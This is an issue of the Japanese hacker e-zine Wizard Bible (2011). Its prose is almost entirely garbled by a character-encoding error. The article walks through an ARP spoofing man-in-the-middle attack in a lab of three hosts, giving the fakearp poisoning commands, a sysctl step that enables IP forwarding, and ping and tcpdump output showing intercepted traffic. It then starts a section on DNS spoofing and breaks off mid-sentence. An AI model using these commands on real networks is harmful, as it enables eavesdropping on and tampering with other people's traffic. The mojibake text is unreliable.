[-]=======================================================================[-] Wizard Bible vol.52 (2011,6,14) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- ‘æ0ÍF–ÚŽŸ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ›‘æ1Í: ARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚µ‚½UŒ‚ƒeƒNƒjƒbƒN unya ’˜ ›‘æ2Í: ’Q‚«‚Ì‹[Ž——” ûü“c@•× ’˜ ›‘æ3Í: ‚¨’m‚点 ›‘æ4Í: ’˜ŽÒƒvƒƒtƒB[ƒ‹ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- ‘æ1Í: ARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚µ‚½UŒ‚ƒeƒNƒjƒbƒN --- ’˜ŽÒFunya x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ¡0x01.) ‚Í‚¶‚ß‚É @¡‰ñ‚ÍARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚µ‚½UŒ‚Žè–@‚ɂ‚¢‚ÄŒŸØ‚µ‚Ü‚·B @‚Í‚¶‚ß‚ÉAARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚·‚邱‚Ƃɂæ‚èƒXƒCƒbƒ`ƒ“ƒOŠÂ‹«‚Å“’®‚ª ‰Â”\‚ƂȂ邱‚Æ‚ðŠm”F‚µ‚Ü‚·B‚»‚ÌŒãAARPƒXƒv[ƒtƒBƒ“ƒO‚ð—˜—p‚µ‚½UŒ‚ƒeƒNƒj ƒbƒN‚Æ‚µ‚ÄAUDPƒpƒPƒbƒg‚̉ü‚´‚ñ‚ðŽæ‚èã‚°‚Ü‚·B ¡0x02.) ŒŸØŠÂ‹« @3‘ä‚̃}ƒVƒ“‚É‚ÍA‚»‚ꂼ‚êHOST-AAHOST-BAHOST-C‚Æ‚¢‚¤–¼‘O‚ð‚‚¯‚Ä‚¢‚Ü‚·B Šeƒ}ƒVƒ“‚̓XƒCƒbƒ`ƒ“ƒOƒnƒu‚ð‰î‚µ‚ÄÚ‘±‚µ‚Ü‚·B EHOST-A c ƒNƒ‰ƒCƒAƒ“ƒgiWindows7j EHOST-B c ƒT[ƒo[iOpenBSD 4.5j EHOST-C c UŒ‚ŽÒiFreeBSD 8.1j ‚±‚ê‚ç‚̃}ƒVƒ“‚͈ȉº‚̂悤‚ÉÚ‘±‚³‚ê‚Ä‚¢‚Ü‚·B ----- +----------- HOST-A | |----- Router ----- Switch ------- HOST-B | +----------- HOST-C ----- ¡0x03.) “’® @ƒŠƒs[ƒ^ƒnƒu‚ªŽg—p‚³‚ê‚Ä‚¢‚½ ‚Í—eˆÕ‚É“’®‚·‚邱‚Æ‚ª‚Å‚«‚Ü‚µ‚½BƒŠƒs[ƒ^ ƒnƒu‚̓RƒŠƒWƒ‡ƒ“ƒhƒƒCƒ“‚ð‹¤—L‚·‚邽‚ßAƒlƒbƒgƒ[ƒNã‚Ì‚ ‚ç‚ä‚éƒtƒŒ[ƒ€‚ª ƒlƒbƒgƒ[ƒNƒCƒ“ƒ^ƒtƒF[ƒX‚É“ž’B‚µ‚Ä‚µ‚Ü‚¤‚½‚߂ł·B @Œ»Ý•‹y‚µ‚Ä‚¢‚éƒXƒCƒbƒ`ƒ“ƒOƒnƒu‚ÍOSIƒŒƒCƒ„[2‚Å“®ì‚·‚é’ÊM‹@Ší‚Å‚·BƒŒ ƒCƒ„[2‚̓f[ƒ^ƒŠƒ“ƒN‘w‚ƌĂ΂êAMACƒAƒhƒŒƒX‚ð’ÊM‚Ì‘—ŽóMƒAƒhƒŒƒX‚ÉŽg—p‚µ ‚Ü‚·BƒŠƒs[ƒ^ƒnƒu‚Ƃ͈قȂèƒXƒCƒbƒ`ƒ“ƒOƒnƒu‚Í‘—Mæ‚ÌMACƒAƒhƒŒƒX‚©‚ç‚Ç‚Ì ƒXƒCƒbƒ`ƒ|[ƒg‚É‘—M‚·‚é‚Ì‚©Œˆ’è‚·‚邽‚ßA‘—MŒ³‚Æ‘—Mæ‚ÌŠÔ‚Å—Ï—“I‚É1‘Î 1‚ÌŒo˜H‚ðŠm—§‚µ‚Ü‚·B‚»‚Ì‚½‚ßA–³ŠÖŒW‚ȃlƒbƒgƒ[ƒNƒCƒ“ƒ^ƒtƒF[ƒX‚Ö’ÊM‚ª —¬‚ê‚邱‚Ƃ͂ ‚è‚Ü‚¹‚ñB‚±‚ê‚Í“¯Žž‚ɈÀˆÕ‚È“’®‚ð–h‚®‚±‚Æ‚ª‰Â”\‚Å‚ ‚邱‚Ƃ𠎦‚µ‚Ü‚·B œ3.1 ARPƒXƒv[ƒtƒBƒ“ƒO‚¾‚¯‚ł͎ÀŒ»‚Å‚«‚È‚¢“’® @ARPƒXƒv[ƒtƒBƒ“ƒO‚ÍARPƒLƒƒƒbƒVƒ…‚ð‰˜õ‚µ‚ij‚µ‚¢TCP/IP’ÊM‚ð‚Å‚«‚È‚­‚· ‚éUŒ‚‚Å‚·B’Pƒ‚É‚¢‚¦‚Î’ÊM–WŠQ‚Å‚·B“’®‚·‚邽‚߂ɂÍARPƒXƒv[ƒtƒBƒ“ƒO‚ª ƒlƒbƒgƒ[ƒN‹@Ší‚ɂǂ̂悤‚ȉe‹¿‚ð—^‚¦‚é‚Ì‚©’m‚Á‚Ä‚¢‚é•K—v‚ª‚ ‚è‚Ü‚·B @ˆÈ‰º‚Ì}‚ͳ펞‚ÌHOST-A‚ÆHOST-BŠÔ‚Ì’ÊMŒo˜H‚Å‚·BƒXƒCƒbƒ`‚ð‰î‚µ‚ÄHOS T-A‚ÆHOST-BŠÔ‚Å’ÊM‚ª‚¨‚±‚È‚í‚ê‚Ü‚·B ---- }3.1-1 ’Êí‚Ì’ÊMŒo˜H HOST-A <----------->SW<-----------> HOST-B ---- @}3.1-1‚̂悤‚È’ÊMó‘Ô‚ÅHOST-A‚ÆHOST-B‚ɑ΂µ‚ÄHOST-C‚©‚çARPƒXƒv[ƒtƒB ƒ“ƒO‚ð‚¨‚±‚È‚¢AHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚ðHOST-C‚ÖŒü‚©‚¤‚悤‚ÉŽdŒü‚¯‚Ü‚·B ‚·‚邯AHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚Í}3.1-2‚̂悤‚ÉHOST-C‚ðŒo—R‚·‚é’ÊMŒo˜H‚É •Ï‚í‚è‚Ü‚·B ---- }3.1-2 HOST-A‚ÆHOST-B‚ÉARPƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀsŒã‚Ì’ÊMŒo˜H HOST-A ---------->SW<---------- HOST-B || || || || || HOST-C ---- @‚±‚±‚łЂƂ–â‘肪”­¶‚µ‚Ü‚·BHOST-C‚̓‹[ƒ^[‚ł͂Ȃ¢‚½‚ßAHOST-A‚ÆHO ST-B‚©‚ç‘—M‚³‚ê‚Ä‚«‚½ƒtƒŒ[ƒ€‚ð”jŠü‚µ‚Ä‚µ‚Ü‚¢‚Ü‚·B‚»‚Ì‚½‚ßAHOST-A‚ÆHO ST-BŠÔ‚Ì’ÊM‚Í’f₵‚Ü‚·B @‚±‚Ì–â‘è‚ð‰ðŒˆ‚·‚邽‚߂ɂÍAHOST-C‚ÅHOST-A‚ÆHOST-BŠÔ‚̃tƒŒ[ƒ€‚𒆌p‚µ ‚Ä‚â‚é•K—v‚ª‚ ‚è‚Ü‚·BŠÈ’P‚É‚¢‚¤‚ÆHOST-C‚ªƒ‹[ƒ^[‚ɂȂé•K—v‚ª‚ ‚è‚Ü‚·B Œˆ‚߂Ȃ¯‚ê‚΂Ȃç‚È‚¢‚Ì‚ÍAƒJ[ƒlƒ‹‚Ń‹[ƒeƒBƒ“ƒO‚·‚é‚©Aƒ†[ƒU[ƒ‰ƒ“ƒh‚Å ƒ‹[ƒeƒBƒ“ƒO‚·‚é‚©A‚»‚ꂾ‚¯‚Å‚·B œ3.2 IP“]‘—‹@”\‚ð—LŒø‚É‚·‚é•û–@ @’P‚É“’®‚ð‚¨‚±‚È‚¤‚±‚Æ‚ª–Ú“I‚È‚ç‚ÎAƒJ[ƒlƒ‹‚Ń‹[ƒeƒBƒ“ƒO‚ð‚¨‚±‚È‚¤•û –@‚ªÅ‚àŠmŽÀ‚ÅŽèŒy‚Å‚·B @¡‰ñ‚Í‚±‚Ì•û–@‚ðÌ—p‚µ‚Ü‚·BIP“]‘—‹@”\‚ð—LŒø‚É‚·‚é•û–@‚ÍABSD‚ÆLinux‚Ì ‚Ç‚¿‚ç‚àsysctlƒRƒ}ƒ“ƒh‚ðŽg—p‚µ‚Ü‚·B ----- •\3.2-1 IPƒpƒPƒbƒg‚Ì“]‘—‚ð—LŒø‚É‚·‚éƒRƒ}ƒ“ƒh +-----------------------------------------+ | OS | ƒRƒ}ƒ“ƒh | |-------+---------------------------------| | BSD | sysctl net.inet.ip.forwarding=1 | |-------+---------------------------------| | Linux | sysctl -w net.ipv4.ip_forward=1 | +-----------------------------------------+ ----- œ3.3 “’®‚ÌŽÀs—á @‚»‚ê‚Å‚ÍAŽÀÛ‚ÉARPƒXƒv[ƒtƒBƒ“ƒO‚ð‚¨‚±‚È‚Á‚Ä“’®‚Å‚«‚邱‚Æ‚ðŠm”F‚µ‚Ü‚·B @UŒ‚ŽÒ‚ÍŽ©•ªŽ©g‚ÌMACƒAƒhƒŒƒX‚ɉÁ‚¦‚ÄAƒ^[ƒQƒbƒg‚ƂȂé‚Ó‚½‚‚̃zƒXƒg‚Ì IPƒAƒhƒŒƒX‚ÆMACƒAƒhƒŒƒX‚ð’m‚Á‚Ä‚¢‚é•K—v‚ª‚ ‚è‚Ü‚·B ----- •\3.3-1 ŠeƒzƒXƒg‚ÌIPƒAƒhƒŒƒX‚ÆMACƒAƒhƒŒƒX +--------------------------------------------+ | ƒzƒXƒg–¼ | IPƒAƒhƒŒƒX | MACƒAƒhƒŒƒX | |----------+-------------+-------------------| | HOST-A | 192.168.2.5 | 00:1b:d3:87:2a:59 | |----------+-------------+-------------------| | HOST-B | 192.168.2.7 | 4c:e6:76:08:96:86 | |----------+-------------+-------------------| | HOST-C | 192.168.2.3 | 00:1f:d0:c0:24:da | +--------------------------------------------+ ----- ›3.3.1 ŽÀsŽè‡ @“’®‚ð‚¨‚±‚È‚¤Žè‡‚͈ȉº‚̂Ƃ¨‚è‚Å‚·B Žè‡ 1 - HOST-A‚©‚çHOST-B‚Ö˜A‘±PING‚ðŽÀs‚µ‚ĉž“š‚ª‚ ‚邱‚Æ‚ðŠm”F Žè‡ 2 - HOST-A‚ÆHOST-B‚ɑ΂µ‚ÄAHOST-C‚©‚çARPƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀs Žè‡ 3 - HOST-A‚©‚çHOST-B‚ւ̘A‘±PING‚ª“r₦‚邱‚Æ‚ðŠm”F Žè‡ 4 - HOST-C‚ÌIP“]‘—‹@”\‚ð—LŒø‚É‚·‚é Žè‡ 5 - HOST-A‚©‚çHOST-B‚ւ̘A‘±PING‚ª•œ‹Œ‚·‚邱‚Æ‚ðŠm”F Žè‡ 6 - HOST-C‚Åtcpdump‚ðŽÀs‚µ‚ÄAHOST-A‚ÆHOST-BŠÔ‚Ìping‚Ì‚â‚è‚Æ‚肪“’®‚Å‚«‚邱‚Æ‚ðŠm”F‚·‚é ›3.3.2 HOST-AiƒNƒ‰ƒCƒAƒ“ƒgj‚ÌŽÀsŒ‹‰Ê @‚Í‚¶‚ß‚ÉAHOST-A‚©‚çHOST-B‚ɑ΂µ‚ĘA‘±PING‚ðŽÀs‚µ‚Ä‘a’ʂł«‚邱‚Æ‚ðŠm ”F‚µ‚Ü‚·[Žè‡ 1]B @‚»‚ÌŒãA[Žè‡ 2]‚ÅARPƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀs‚µ‚½‚±‚Ƃɂæ‚èA‘a’Ê‚ª“r₦‚é ‚±‚Æ‚ðŠm”F‚µ‚Ü‚·[Žè‡ 3]B @[Žè‡ 4]‚ÌIP“]‘—‹@”\‚ð—LŒø‰»‚µ‚½ƒ^ƒCƒ~ƒ“ƒO‚Å‘a’Ê‚ª•œ‹Œ‚µ‚½‚±‚Æ‚ðŠm”F‚µ ‚Ü‚·[Žè‡ 5]B @ˆÈ‰º‚ÍAARPƒXƒv[ƒtƒBƒ“ƒO‚ð‚¨‚±‚È‚Á‚½Û‚ÌHOST-A‚Å‚ÌPINGŒ‹‰Ê‚Å‚·B @PING‚ÌŒ‹‰Ê‚Å‚ÍHOST-C‚ðŒo—R‚µ‚Ä‚¢‚é‚Ì‚©‚Ç‚¤‚©‚Í•ª‚©‚è‚Ü‚¹‚ñB -----[HOST-A‚©‚çHOST-B‚ւ̘A‘±PING] C:\Users\unya>ping -t 192.168.2.7 192.168.2.7 ‚É ping ‚ð‘—M‚µ‚Ä‚¢‚Ü‚· 32 ƒoƒCƒg‚̃f[ƒ^: 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 - 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 | 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 |---Žè‡ 1 ‘a’ÊŠm”F 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 | 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 - —v‹‚ªƒ^ƒCƒ€ƒAƒEƒg‚µ‚Ü‚µ‚½B - <--Žè‡ 2 ARPƒXƒv[ƒtƒBƒ“ƒOŽÀs —v‹‚ªƒ^ƒCƒ€ƒAƒEƒg‚µ‚Ü‚µ‚½B | —v‹‚ªƒ^ƒCƒ€ƒAƒEƒg‚µ‚Ü‚µ‚½B |---Žè‡ 3 ‘a’Ê‚ª“r₦‚邱‚Æ‚ðŠm”F —v‹‚ªƒ^ƒCƒ€ƒAƒEƒg‚µ‚Ü‚µ‚½B | —v‹‚ªƒ^ƒCƒ€ƒAƒEƒg‚µ‚Ü‚µ‚½B - 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ =1ms TTL=255 - <--Žè‡ 4 IPƒpƒPƒbƒg“]‘—ŠJŽn 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ =1ms TTL=255 | 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ =1ms TTL=255 |---Žè‡ 5 ‘a’Ê‚ª•œ‹Œ‚·‚邱‚Æ‚ðŠm”F 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ =1ms TTL=255 | 192.168.2.7 ‚©‚ç‚̉ž“š: ƒoƒCƒg” =32 ŽžŠÔ <1ms TTL=255 - ----- ›3.3.3 HOST-CiUŒ‚ŽÒj‚ÌŽÀsŒ‹‰Ê @HOST-C‚ÍUŒ‚ŽÒ‚Å‚·BHOST-C‚Å‚ÍAHOST-A‚¨‚æ‚ÑHOST-B‚ɑ΂µ‚ÄARPƒXƒv[ƒtƒB ƒ“ƒO‚ðŽÀs‚µ‚Ü‚·[Žè‡ 2]B @HOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚ª‚·‚ׂÄHOST-C‚ÖŒü‚©‚¤‚悤‚ÉA‘—MŒ³MACƒAƒhƒŒƒX‚ð HOST-C‚̃AƒhƒŒƒX‚Éݒ肵‚Ü‚·B @ˆÈ‰º‚ÍAHOST-C‚ÅARPƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀs‚µ‚Ä‚¢‚邯‚±‚ë‚Å‚·B -----[HOST-C‚Å‚ÌARPƒXƒv[ƒtƒBƒ“ƒOŽÀs] HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.7 -dh 00:1b:d3:87:2a:59 192.168.2.5 Using interface em0 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ƒÈ—ª„ HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.5 -dh 4c:e6:76:08:96:86 192.168.2.7 Using interface em0 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ƒÈ—ª„ ----- @‚±‚ÌŽž“_‚ÅHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚Í“r₵‚Ä‚¢‚Ü‚·[Žè‡ 3]B @“r₪Šm”F‚Å‚«‚½‚Æ‚±‚ë‚ÅAHOST-C‚ÅIPƒpƒPƒbƒg‚Ì“]‘—‹@”\‚ð—LŒø‚É‚µ‚Ü‚·[Žè‡ 4]B @ƒpƒPƒbƒg“]‘—‹@”\‚ð—LŒø‚É‚·‚é‚Ü‚ÅAHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚Í•œ‹Œ‚µ‚Ü‚¹‚ñB @ˆÈ‰º‚ÍAFreeBSD‚ÅIPƒpƒPƒbƒg‚Ì“]‘—‚ð—LŒø‚É‚µ‚Ä‚¢‚邯‚±‚ë‚Å‚·B -----[IP“]‘—‹@”\‚ð—LŒø‰»] HOST-C# sysctl net.inet.ip.forwarding=1 net.inet.ip.forwarding: 0 -> 1 ----- @IP“]‘—‹@”\‚ð—LŒø‰»‚·‚邱‚Ƃɂæ‚èAHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚ª•œ‹Œ‚µ‚Ü‚·[Žè‡ 5]B @HOST-C‚Åtcpdump‚ðŽÀs‚µAHOST-C‚ð’ʉ߂µ‚ÄHOST-A‚ÆHOST-BŠÔ‚̘A‘±PING‚ªŒp ‘±‚³‚ê‚Ä‚¢‚邱‚Æ‚ðŠm”F‚µ‚Ü‚·[Žè‡ 6]B @ˆÈ‰º‚ÍAHOST-C‚Å‚ÌtcpdumpŽÀsŒ‹‰Ê‚Å‚·B -----[HOST-C‚Å‚ÌtcpdumpŽÀs] IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 111, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 112, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 113, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 113, length 40 IP 192.168.2.3 > 192.168.2.5: ICMP redirect 192.168.2.7 to host 192.168.2.7, length 36 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 113, length 40 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 113, length 40 IP 192.168.2.3 > 192.168.2.7: ICMP redirect 192.168.2.5 to host 192.168.2.5, length 36 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 114, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 114, length 40 IP 192.168.2.3 > 192.168.2.5: ICMP redirect 192.168.2.7 to host 192.168.2.7, length 36 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 114, length 40 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 114, length 40 IP 192.168.2.3 > 192.168.2.7: ICMP redirect 192.168.2.5 to host 192.168.2.5, length 36 ----- @tcpdump‚ÌŒ‹‰Ê‚©‚çAHOST-A‚ÆHOST-BŠÔ‚ÌPING‚Ì‚â‚è‚Æ‚è‚ðŠm”F‚·‚邱‚Æ‚ª‚Å‚« ‚Ü‚·B @‚È‚¨AICMPƒŠƒ_ƒCƒŒƒNƒg‚ªo‚Ä‚¢‚é‚̂ŊȌ‰‚Éà–¾‚·‚邯AICMPƒŠƒ_ƒCƒŒƒNƒg ‚Ƃ͎óM‚µ‚½ƒf[ƒ^ƒOƒ‰ƒ€‚ª‘¼‚̃lƒbƒgƒ[ƒN‹@Ší‚É‘—M‚³‚ê‚é‚ׂ«‚Æ‚«‚ÉA‘— MŒ³‚Ö‘—‚ç‚ê‚éƒGƒ‰[ƒƒbƒZ[ƒW‚Å‚·B¡‰ñ‚̓J[ƒlƒ‹ƒŒƒxƒ‹‚ÅIPƒpƒPƒbƒg“]‘— ‹@”\‚ð—LŒø‰»‚µ‚½‚½‚ßAICMPƒŠƒ_ƒCƒŒƒNƒgƒpƒPƒbƒg‚ª‘—M‚³‚ê‚Ü‚µ‚½B @ŽÀÛ‚ÌUŒ‚‚Å‚Í[Žè‡ 4]‚ÌIP“]‘—‹@”\‚Ì—LŒø‰»‚Íʼn‚ÉŽÀs‚µ‚Ü‚·B¡‰ñ‚ÍAR PƒXƒv[ƒtƒBƒ“ƒO‚É‚æ‚Á‚ÄHOST-A‚ÆHOST-BŠÔ‚Ì’ÊM‚ª“râ‚·‚邱‚Æ‚ðŠm”F‚·‚邽‚ß ‚ÉŽè‡‚ð‚¸‚ç‚µ‚Ä‚¢‚Ü‚·B ¡0x04.) DNSƒXƒv[ƒtƒBƒ“ƒO @ARPƒXƒv[ƒtƒBƒ“ƒO‚Ì“Á’¥‚ÍAUŒ‚ŽÒ‚ª‚Ó‚½‚‚̃lƒbƒgƒ[ƒN‹@ŠíŠÔ‚Ì’ÊMŒo˜H ‚ð§Œä‚Å‚«‚é“_‚Å‚·BUŒ‚ŽÒ‚ÍŽ©‚炪¶ˆ¬‚µ‚Ä‚¢‚éƒlƒbƒgƒ[ƒN‹@Ší‚ðŒo—R‚·‚é ‚æ‚¤‚É’ÊMŒo˜H‚ð‘€ì‚·‚邱‚Æ‚ª‚Å‚«‚Ü‚·B‚±‚ꂪˆÓ–¡‚·‚邯‚±‚ë‚ÍA“’®‚ª‰Â ”\‚Å‚ ‚é‚̂Ɠ¯Žž‚É’ÊM‚̉ü‚´‚ñ‚à‰Â”\‚Å‚ ‚邯‚¢‚¤‚±‚Ƃł·B“Á‚ÉUDP‚̂悤‚È ƒvƒƒgƒRƒ‹Ž©‘Ì‚ÉM—Š«‚ð•ÛØ‚·‚é‹@”\‚ª‚È‚¢’ÊM‚ɂ‚¢‚Ä‚ÍA—eˆÕ‚ɉü‚´‚ñ‚ª ‰Â”\‚ƂȂè‚Ü‚·B‚±‚Ì‚±‚Æ‚ðŒŸØ‚·‚邽‚ß‚ÉADNSƒpƒPƒbƒg‚̉ü‚´‚ñ‚ð‚¨‚±‚È‚¢‚Ü ‚·B œ4.1 DNS‚Æ‚Í @DNSiDomain Name Systemj‚ÍATCP/IP’ÊM‚ð—˜—p‚·‚éۂɃzƒXƒg–¼‚ÆIPƒAƒhƒŒ ƒX‚ðƒ}ƒbƒsƒ“ƒO‚·‚邽‚߂̕ªŽUŒ^ƒf[ƒ^ƒx[ƒXƒVƒXƒeƒ€‚Å‚ ‚èA‚ ‚ç‚ä‚éTCP/IP ’ÊM‚ÅŽQÆ‚³‚ê‚éÅ‚àd—v‚ȃvƒƒgƒRƒ‹‚̂ЂƂ‚ł·B @¡‰ñ‚ÍADNSƒvƒƒgƒRƒ‹‚Å‚â‚è‚Æ‚肳‚ê‚éƒpƒPƒbƒg‚Ì\‘¢‚Æ‚»‚Ì’†g‚ɂ‚¢‚Ä‚Ì à–¾‚ð‚¨‚±‚È‚¢A‚¨‚µ‚Ü‚¢‚ÉŽÀÛ‚ÉDNSƒXƒv[ƒtƒBƒ“ƒO‚ðŽÀs‚µ‚Ü‚·B œ4.2 DNSŽ¿–âƒpƒPƒbƒg‚Ì\‘¢ @DNS‚ɂ͎¿–â‚ÆA‚»‚ê‚ɑ΂·‚é‰ñ“š‚ª‚ ‚è‚Ü‚·B‚Ü‚¸‚ÍDNSŽ¿–âƒpƒPƒbƒg‚Ì\‘¢ ‚©‚ç‚݂Ă¢‚«‚Ü‚·B ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ޝ•ÊŽq | ƒtƒ‰ƒO | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ž¿–â” | ‰ñ“šRR” | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Œ ˆÐRR” | ’ljÁRR” | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ž¿–âRRi‰Â•Ï’·j | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- @擪‚©‚ç12ƒoƒCƒg‚ðuޝ•ÊŽqvuƒtƒ‰ƒOvuŽ¿–â”vu‰ñ“šRR”vuŒ ˆÐRR”v u’ljÁRR”v‚̌Œ蒷ƒtƒB[ƒ‹ƒh‚ªè‚ßAÅŒã‚ɉ•ϒ·‚ÌŽ¿–âƒtƒB[ƒ‹ƒh‚ª‘±‚« ‚Ü‚·B ›4.2.1 uޝ•ÊŽqv‚Æuƒtƒ‰ƒOv @uޝ•ÊŽqv‚̓Nƒ‰ƒCƒAƒ“ƒg‚É‚æ‚Á‚Äݒ肳‚êAƒT[ƒo[‚É‚æ‚è•Ô‚³‚ê‚Ü‚·BƒN ƒ‰ƒCƒAƒ“ƒg‚Í‚±‚Ì’l‚©‚ç‚ǂ̎¿–â‚ɑ΂·‚é‰ñ“š‚Å‚ ‚é‚Ì‚©”»’f‚Å‚«‚Ü‚·Buƒtƒ‰ ƒOv‚Í16ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅAˆÈ‰º‚̂悤‚È\‘¢‚ƂȂè‚Ü‚·B ----- +------------------------------------------------------------+ | qr | opcode | aa | tc | rd | ra | unused | ad | cd | rcode | +------------------------------------------------------------+ ----- E[qr]‚Í1ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅA0‚Å‚ ‚ê‚ÎÆ‰ï‚Å‚ ‚è1‚Å‚ ‚ê‚Ήñ“š‚Æ‚È‚è‚Ü‚·B E[opcode]‚Í4ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅA0‚Å‚ ‚ê‚ΕW€Æ‰ïA1‚Å‚ ‚ê‚΋tƉïA2 ‚Å‚ ‚ê‚΃T[ƒo[ƒXƒe[ƒ^ƒX—v‹‚ƂȂè‚Ü‚·B E[aa]‚Í1ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅAŒ ˆÐ‚ ‚é‰ñ“š‚Å‚ ‚ê‚Î1‚ƂȂè‚Ü‚·B E[tc]‚Í1ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅA•sŠ®‘SƒpƒPƒbƒg‚Å‚ ‚éꇂÉ1‚ƂȂèAUDP‚Å‚  ‚ê‚Ήž“šƒpƒPƒbƒg‚ª512ƒoƒCƒg‚ð’´‚¦‚½‚½‚ßAʼn‚Ì512ƒoƒCƒg‚¾‚¯‚ª‘—M‚³‚ê‚Ä ‚¢‚邱‚Æ‚ðŽ¦‚µ‚Ü‚·B E[rd]‚Í1ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚ÅA1‚Å‚ê‚ÎÄ‹A—v‹‚ðˆÓ–¡‚µ‚Ü‚·B‚±‚̃tƒB[ƒ‹ ƒh‚ª0‚Å‚ ‚èA—v‹‚³‚ꂽƒl[ƒ€ƒT[ƒo[‚ªŒ ˆÐ‚ ‚é‰ñ“š‚ð‚Å‚«‚È‚¯‚ê‚ÎA—v‹‚³ ‚ꂽƒl[ƒ€ƒT[ƒo[‚Í‘¼‚̃l[ƒ€ƒT[ƒo[‚ÌƒŠƒXƒg‚ð•Ô‚µ‚Ü‚·B E[ad]‚Æ[cd]‚Í‚»‚ꂼ‚ê1ƒrƒbƒg‚̃tƒB[ƒ‹ƒh‚Å‚·B‚±‚ê‚ç‚̃tƒ‰ƒO‚ÍDNSSEC‘Ήž 